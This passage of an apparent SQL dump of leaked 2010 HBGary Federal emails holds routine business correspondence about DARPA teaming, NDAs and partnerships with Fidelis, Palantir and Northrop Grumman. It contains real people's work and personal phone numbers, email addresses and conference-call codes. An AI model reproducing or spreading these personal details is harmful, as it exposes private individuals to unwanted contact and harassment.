could link up to meet face-to-face\r\n> and discuss future teaming opportunities.\r\n>\r\n> His contact info is below.\r\n>\r\n> Ted\r\n>\r\n>\r\n> Jim Butterworth\r\n> Sr. Dir of Cyber Security\r\n> (626)381-8574 (Work cell)\r\n> (951)850-1203 (personal cell)\r\n> Emailbot@me.com (pers email)\r\n>\r\n> Note: The information contained in this message may be privileged and\r\n> confidential and thus protected from disclosure. If the reader of this\r\n> message is not the intended recipient, or an employee or agent\r\n> responsible\r\n> for delivering this message to the intended recipient, you are hereby\r\n> notified that any dissemination, distribution or copying of this\r\n> communication is strictly prohibited.  If you have received this\r\n> communication in error, please notify us immediately by replying to\r\n> the\r\n> message and deleting it from your computer.  Thank you.\r\n>\r\n\r\nNote: The information contained in this message may be privileged and\r\nconfidential and thus protected from disclosure. If the reader of this\r\nmessage is not the intended recipient, or an employee or agent responsible \r\nfor delivering this message to the intended recipient, you are hereby\r\nnotified that any dissemination, distribution or copying of this\r\ncommunication is strictly prohibited.  If you have received this\r\ncommunication in error, please notify us immediately by replying to the \r\nmessage and deleting it from your computer.  Thank you.\r\n\r\n',986,'aaron_hbgary_com/986.html'),(3121,'2010-02-26','\"Adam Fraser\" <adam.fraser@pikewerks.com>','/aaron@hbgary.com/new/1297001468.M494718P3547Q3121.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>','Re: DARPA BAA','Aaron,\r\n\r\nGood evening.  Irby asked me to take the stick on this effort so I\r\nwanted to see if you\'d have time to talk tomorrow.  I\'m available anytime.\r\n\r\nThanks\r\n-- Adam\r\n\r\nOn 2/25/10 6:39 PM, Irby Thompson wrote:\r\n> Aaron,\r\n> \r\n> Please find the signed NDA attached. Once you guys have countersigned, let\'s arrange a time to begin discussion.\r\n> \r\n> 	Regards,\r\n> 	Irby\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> On Feb 24, 2010, at 7:53 AM, Aaron Barr wrote:\r\n> \r\n>> Hi Irby,\r\n>>\r\n>> Attached is our NDA.  Let me know if you have some time this afternoon or tomorrow for your team to discuss.\r\n>>\r\n>> Thanks,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>> \r\n> \r\n',1727,'aaron_hbgary_com/1727.html'),(3122,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001468.M672449P3547Q3122.eml','\"Adam Fraser\" <adam.fraser@pikewerks.com>','Re: DARPA BAA','Sure.  How about after 1030?  You can call 719.510.8478.\r\nAaron\r\n\r\nOn Feb 25, 2010, at 9:43 PM, Adam Fraser wrote:\r\n\r\n> Aaron,\r\n> \r\n> Good evening.  Irby asked me to take the stick on this effort so I\r\n> wanted to see if you\'d have time to talk tomorrow.  I\'m available anytime.\r\n> \r\n> Thanks\r\n> -- Adam\r\n> \r\n> On 2/25/10 6:39 PM, Irby Thompson wrote:\r\n>> Aaron,\r\n>> \r\n>> Please find the signed NDA attached. Once you guys have countersigned, let\'s arrange a time to begin discussion.\r\n>> \r\n>> 	Regards,\r\n>> 	Irby\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> On Feb 24, 2010, at 7:53 AM, Aaron Barr wrote:\r\n>> \r\n>>> Hi Irby,\r\n>>> \r\n>>> Attached is our NDA.  Let me know if you have some time this afternoon or tomorrow for your team to discuss.\r\n>>> \r\n>>> Thanks,\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2905,'aaron_hbgary_com/2905.html'),(3123,'2010-02-26','\"Mankin, Mark\" <mark.mankin@fidelissecurity.com>','/aaron@hbgary.com/new/1297001468.M863866P3547Q3123.eml','aaron@hbgary.com','NRL & DARPA','\r\n\r\n\r\n\r\nAaron -\r\n&nbsp;\r\nIt was a pleasure meeting you, yesterday.&nbsp;&nbsp;&nbsp; Let me know if you want to get together next week to discuss the NRL and DARPA RFP\'s you mentioned.\r\n&nbsp;\r\nHave a great weekend!\r\n&nbsp;\r\n&nbsp;\r\nV/r\r\nMark\r\n&nbsp;\r\nCell:&nbsp; 703-628-8532',7410,'aaron_hbgary_com/7410.html'),(3124,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001469.M252621P3547Q3125.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>,\"Matthew Steckman\" <msteckman@palantirtech.com>,','Network Data','Matt,\r\n\r\nI would like to introduce Dave Etue from Fidelis.  I think you guys should get together and talk, they have some very interesting products for content analysis, threat detection, DLP, etc.  HBGary is working on building a partnership with them similar to the one we have with you.  I am not sure but Dave may be able to help with the network data you are looking for.  HBGary just doesn\'t store that type of data, its network after all, who wants that?  Kidding, Kidding...\r\n\r\nAnyway, after you guys have a chance to talk I think it would be interesting to get together and discuss the benefits of our combined offerings.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6161,'aaron_hbgary_com/6161.html'),(3125,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001469.M445426P3547Q3126.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>,\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Palantir govcon apr 7','I don\'t think we have much cool yet. &nbsp;I would like to have something really sexy for govcon. &nbsp;I will touch base with Greg and Brian to see with that target what we think we can put together.AaronOn Feb 25, 2010, at 6:00 PM, Matthew Steckman wrote:Just wanted to let you guys know that we are still tracking for a demo station for any integration you put together before our Government Conference in April.&nbsp; Any cool progress made thus far?&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2006,'aaron_hbgary_com/2006.html'),(3126,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001469.M60229P3547Q3124.eml','\"David Etue\" <david.etue@fidelissecurity.com>','Fwd: Datasets','Dave,Can you help with the below request at all? &nbsp;This is just not the type of data HBGary focuses on. &nbsp;Actually I meant to talk to you about this type of thing. &nbsp;We are looking to develop some good models of attacks, a good amount of this type of traffic would be helpful, but not sure if you guys store such traffic either. &nbsp;I\'ll make the introduction to Palantir.AaronBegin forwarded message:From: Aaron Zollman &lt;azollman@palantirtech.com&gt;Date: February 19, 2010 12:41:40 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Matthew Steckman &lt;msteckman@palantirtech.com&gt;Subject: RE: DatasetsHello Aaron B!&nbsp;I met Greg and (I think) Rich and Shaun in Sacramento on Tuesday to help introduce them to the platform; it was great to learn more about how you track and respond to coordinated attacks.&nbsp;Right now, I’m trying to model a fast-flux coordinated botnet in Palantir and show how someone with access to a good amount of passive DNS or proxy traffic can build a visual picture of the nodes involved in coordination, and how control and activity transfer over time.&nbsp;Rather than try and mock up a dataset from scratch, do you guys have some historical logs to share, say from a few days of Storm, that might make for a more believable or accurate model?&nbsp;Thanks –&nbsp; Aaron Z.&nbsp;&nbsp;_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantirtech.com&nbsp;| 202-684-8066&nbsp;From:&nbsp;Matthew Steckman&nbsp;Sent:&nbsp;Friday, February 19, 2010 6:31 AMTo:&nbsp;Aaron BarrCc:&nbsp;Aaron ZollmanSubject:&nbsp;Datasets&nbsp;Aaron,&nbsp;Id like to introduce you to one of our cyber technical SMEs, Aaron Zollman.&nbsp; Do you think you could work with him to get us some mock datasets to play around with in Palantir?&nbsp;Ill let him pick up the thread from here, you should see an email from him with a description of what we’re looking for sometime today.&nbsp;Thanks,Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10320,'aaron_hbgary_com/10320.html'),(3127,'2010-02-26','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001469.M653367P3547Q3127.eml','\"Aaron Barr\" <aaron@hbgary.com>','In conference call','\r\n\r\n\r\n\r\n\r\nIn conference call\r\n\r\n\r\n\r\n\r\nBabysitter is sick.&nbsp; I am dialed into my staff meeting.&nbsp; Will call you back.\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',11394,'aaron_hbgary_com/11394.html'),(3128,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001469.M835001P3547Q3128.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: In conference call','K. &nbsp;I had a good meeting with Fidelis yesterday. &nbsp;You need to get to know their stuff. &nbsp;HBGary is working on a strategic partnership. &nbsp;Man the power is exciting. &nbsp;Weakness of HBGary is when do I deploy DDNA to check for malware. &nbsp;Fidelis can help us target and prioritize our deployments based on whats coming on the wire. &nbsp;Very good stuff. &nbsp;We can also use them to get lots of network traffic, but also do protection when needed.AaronOn Feb 26, 2010, at 9:09 AM, Masterson, Brian (Xetron) wrote:\r\n\r\nBabysitter is sick.&nbsp; I am dialed into my staff meeting.&nbsp; Will call you back.Brian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10562,'aaron_hbgary_com/10562.html'),(3129,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001470.M15372P3547Q3129.eml','\"John Farrell\" <john@endgames.us>','Re: Meeting?','no worries.  I was at FIdelis when u called so just went home from there.  Catch up to you later.\r\nAaron\r\n\r\nOn Feb 25, 2010, at 5:52 PM, John Farrell wrote:\r\n\r\n> Sorry just out of scif\r\n> \r\n> Listen 2 ur voicrmail\r\n> John M Farrell\r\n> VP Federal, Endgame Systems\r\n> 703.622.9025 M\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: John Farrell\r\n> Sent: Thu Feb 25 15:05:54 2010\r\n> Subject: Meeting?\r\n> \r\n> Hey John,\r\n> \r\n> Give me a call...\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',39,'aaron_hbgary_com/39.html'),(3130,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001470.M206368P3547Q3130.eml','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','Re: Team with HBGary?','I am available at 2-3pm. &nbsp;I would like to have a little bit of a technical approach discussion.AaronOn Feb 25, 2010, at 4:53 PM, Anita D\'Amico wrote:Aaron,&nbsp;Let’s finalize teaming. Are you available on Friday, Feb 19 at 10 AM or 2 PM?&nbsp;Do you want to have a business discussion only at that time, or also discuss technical approaches and proposal? If the former, it will be just me. If the latter, I’ll have a sr engineer join the discussion.&nbsp;Anita&nbsp;Anita D\'Amico, Ph.D.Applied Visions, Inc. (AVI)Director, Secure Decisions Division6 Bayview Avenue, Northport, NY 11768-1502http://SecureDecisions.avi.com(631) 754-4920 ext. 147&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14784,'aaron_hbgary_com/14784.html'),(3131,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001470.M392450P3547Q3131.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Talked to GD','yeah I talked to Chris later in the day and they seemed pretty focused on priming something as they feel its important. &nbsp;I guess their flexibility was mostly around Tech Area3. &nbsp;Although the hours thing sounds flexible? &nbsp;What do you think? &nbsp;I hope we can work it out. &nbsp;I think we tell a strong story together, separated I am not sure how strong our individual stories are for that area.AaronOn Feb 25, 2010, at 3:24 PM, Masterson, Brian (Xetron) wrote:\r\n\r\nAaron,I talked to GD.&nbsp; We need to get NDAs exchanged to facilitate further discussions.&nbsp; Chris mentioned use of SRI and UC/Berkley.&nbsp; At the end, he mentioned that they would prime and would give us whatever hours we want.&nbsp; I said that we were planning on priming and that I do not have the authority to change that.&nbsp; He understand and we agreed to discuss further.Brian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14856,'aaron_hbgary_com/14856.html'),(3132,'2010-02-26','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001470.M640475P3547Q3132.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Talked to GD','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI need to talk to Bill.&nbsp; I think we are pretty set on priming\r\nbut I&#8217;ll see bill&#8217;s position.&nbsp; Not sure if we can even get this setup in time\r\nfor the submittal date.&nbsp; Working&#8230;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 9:17 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Talked to GD\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nyeah I talked to Chris later in the day and they seemed\r\npretty focused on priming something as they feel its important. &nbsp;I guess\r\ntheir flexibility was mostly around Tech Area3. &nbsp;Although the hours thing\r\nsounds flexible? &nbsp;What do you think? &nbsp;I hope we can work it out.\r\n&nbsp;I think we tell a strong story together, separated I am not sure how\r\nstrong our individual stories are for that area.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 25, 2010, at 3:24 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI talked to GD.&nbsp; We\r\nneed to get NDAs exchanged to facilitate further discussions.&nbsp; Chris\r\nmentioned use of SRI and UC/Berkley.&nbsp; At the end, he mentioned that they\r\nwould prime and would give us whatever hours we\r\nwant.&nbsp; I said that we were planning\r\non priming and that I do not have the\r\nauthority to change\r\nthat.&nbsp; He understand and we agreed to discuss further.\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16384,'aaron_hbgary_com/16384.html'),(3133,'2010-02-26','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297001471.M319015P3547Q3134.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Discussion with Nolan @ Fri Feb 26 9:30am - 10:30am 	(aaron@hbgary.com)',' more details &raquo;Discussion with NolanWhenFri Feb 26 9:30am – 10:30am Eastern TimeWhereTelecon 719.510.8478 (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizer&#x2022;nolan@informationsecuritysolutionsllc.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',2877,'aaron_hbgary_com/2877.html'),(3134,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001471.M53349P3547Q3133.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: GD / Fidelis Security discussion','Hey Chris,Talking with Brian in a little bit and going to really work on the importance of the team. &nbsp;I really want to see a GD/NG/HBGary team. &nbsp;OPS/Algorithms/Technology. &nbsp;I think the capabilities are right, past performance is right, story is right. &nbsp;We could do without IG and just talk about the data correlation, but stronger with IG.Can you restate for me again what SRI and Berkeley bring to the table. &nbsp;I only was able to catch part of it so wanted to understand their context.When can you talk today?AaronOn Feb 25, 2010, at 3:18 PM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Thursday, February 25, 2010 4:00 PM-5:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).Where: 866-765-5631, code 5057292#&nbsp; and WebEx*~*~*~*~*~*~*~*~*~*GD / Fidelis Security discussion (Fidelis has innovative cyber security solutions and works with HBGary)http://www.fidelissecurity.com/866-765-5631, code 5057292#&nbsp; and WebExWebEx link will be sent right before the meeting(apologies for the short notice)\r\n\r\n\r\n&lt;meeting.ics&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10924,'aaron_hbgary_com/10924.html'),(3135,'2010-02-26','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001471.M546461P3547Q3135.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Talked to GD','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAnd, still not sure what they are bringing.&nbsp; Yes, DC3.&nbsp; Berkeley\r\nhas something dealing with obfuscation but I am not sure what it is and how it\r\nfits into Task 1.&nbsp; Then, not sure what SRI has.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 9:17 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Talked to GD\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nyeah I talked to Chris later in the day and they seemed\r\npretty focused on priming something as they feel its important. &nbsp;I guess\r\ntheir flexibility was mostly around Tech Area3. &nbsp;Although the hours thing\r\nsounds flexible? &nbsp;What do you think? &nbsp;I hope we can work it out.\r\n&nbsp;I think we tell a strong story together, separated I am not sure how\r\nstrong our individual stories are for that area.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 25, 2010, at 3:24 PM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI talked to GD.&nbsp; We\r\nneed to get NDAs exchanged to facilitate further discussions.&nbsp; Chris\r\nmentioned use of SRI and UC/Berkley.&nbsp; At the end, he mentioned that they\r\nwould prime and would give us whatever hours we want.&nbsp;\r\nI said that we were planning\r\non priming and that I do not have the\r\nauthority to change\r\nthat.&nbsp; He understand and we agreed to discuss further.\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5136,'aaron_hbgary_com/5136.html'),(3136,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001471.M737550P3547Q3136.eml','\"Albert A. Pisani\" <albert.pisani@TASC.com>,\"Albert A. Pisani\" <albert.pisani@TASC.com>','Thought','Al,\r\n\r\nI met with Bob Frisbie the other day to catch up.  He is looking to expand a capability in IO related to the COIN re-compete but more for DoD.  He told me he has a few acquisitions in the works that will increase his capability in this area.  So just a thought that it might be worth a phone call to see if there is any synergy and strength between TASC and ManTech in this area.  I think forming a team and response to compete against SAIC will be tough but doable.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14589,'aaron_hbgary_com/14589.html'),(3137,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001471.M919306P3547Q3137.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Talked to GD','OK.My opinion for what it is worth. &nbsp;Winning TA1 is more important than priming for all parties, but someone has to. &nbsp;For GD its the relevance to DC3, for Xetron its Threat Center, for HBGary its Threat Center and maturation of capabilities for DDNA.AaronOn Feb 26, 2010, at 9:19 AM, Masterson, Brian (Xetron) wrote:I need to talk to Bill.&nbsp; I think we are pretty set on priming but I’ll see bill’s position.&nbsp; Not sure if we can even get this setup in time for the submittal date.&nbsp; Working…&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, February 26, 2010 9:17 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Talked to GD&nbsp;yeah I talked to Chris later in the day and they seemed pretty focused on priming something as they feel its important. &nbsp;I guess their flexibility was mostly around Tech Area3. &nbsp;Although the hours thing sounds flexible? &nbsp;What do you think? &nbsp;I hope we can work it out. &nbsp;I think we tell a strong story together, separated I am not sure how strong our individual stories are for that area.&nbsp;Aaron&nbsp;&nbsp;On Feb 25, 2010, at 3:24 PM, Masterson, Brian (Xetron) wrote:Aaron,I talked to GD.&nbsp; We need to get NDAs exchanged to facilitate further discussions.&nbsp; Chris mentioned use of SRI and UC/Berkley.&nbsp; At the end, he mentioned that they&nbsp;would prime and&nbsp;would give us whatever hours we want.&nbsp; I said that we were&nbsp;planning on priming and that I do not have&nbsp;the&nbsp;authority to change that.&nbsp; He understand and we agreed to discuss further.Brian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3877&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15132,'aaron_hbgary_com/15132.html'),(3138,'2010-02-26','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001472.M108576P3547Q3138.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Talked to GD','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAgree.&nbsp; I need to talk to Bill it is his call on how to proceed\r\nas its his business unit.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 26, 2010 9:24 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Talked to GD\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOK.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMy opinion for what it is worth. &nbsp;Winning TA1 is more\r\nimportant than priming for all parties, but someone has to. &nbsp;For GD its\r\nthe relevance to DC3, for Xetron its Threat Center, for HBGary its Threat\r\nCenter and maturation of capabilities for DDNA.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 26, 2010, at 9:19 AM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI need to talk to Bill.&nbsp; I think we are pretty set on\r\npriming but I&#8217;ll see bill&#8217;s position.&nbsp; Not sure if we can even get this\r\nsetup in time for the submittal date.&nbsp; Working&#8230;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson&nbsp;\r\nNorthrop Grumman/Xetron&nbsp;\r\nChief Technology Officer, IO Programs&nbsp;\r\nPh: 513-881-3591&nbsp;\r\nCell: 513-706-4848&nbsp;\r\nFax: 513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, February 26,\r\n2010 9:17 AM\r\nTo:&nbsp;Masterson, Brian\r\n(Xetron)\r\nSubject:&nbsp;Re: Talked to GD\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nyeah I talked to Chris later in the day and they seemed\r\npretty focused on priming something as they feel its important. &nbsp;I guess\r\ntheir flexibility was mostly around Tech Area3. &nbsp;Although the hours thing\r\nsounds flexible? &nbsp;What do you think? &nbsp;I hope we can work it out.\r\n&nbsp;I think we tell a strong story together, separated I am not sure how\r\nstrong our individual stories are for that area.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 25, 2010, at 3:24 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI talked to GD.&nbsp; We\r\nneed to get NDAs exchanged to facilitate further discussions.&nbsp; Chris\r\nmentioned use of SRI and UC/Berkley.&nbsp; At the end, he mentioned that they&nbsp;would\r\nprime and&nbsp;would give us whatever hours we\r\nwant.&nbsp; I said that we were&nbsp;planning on priming and that I do not\r\nhave&nbsp;the&nbsp;authority\r\nto change that.&nbsp; He understand and we agreed to discuss further.\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal 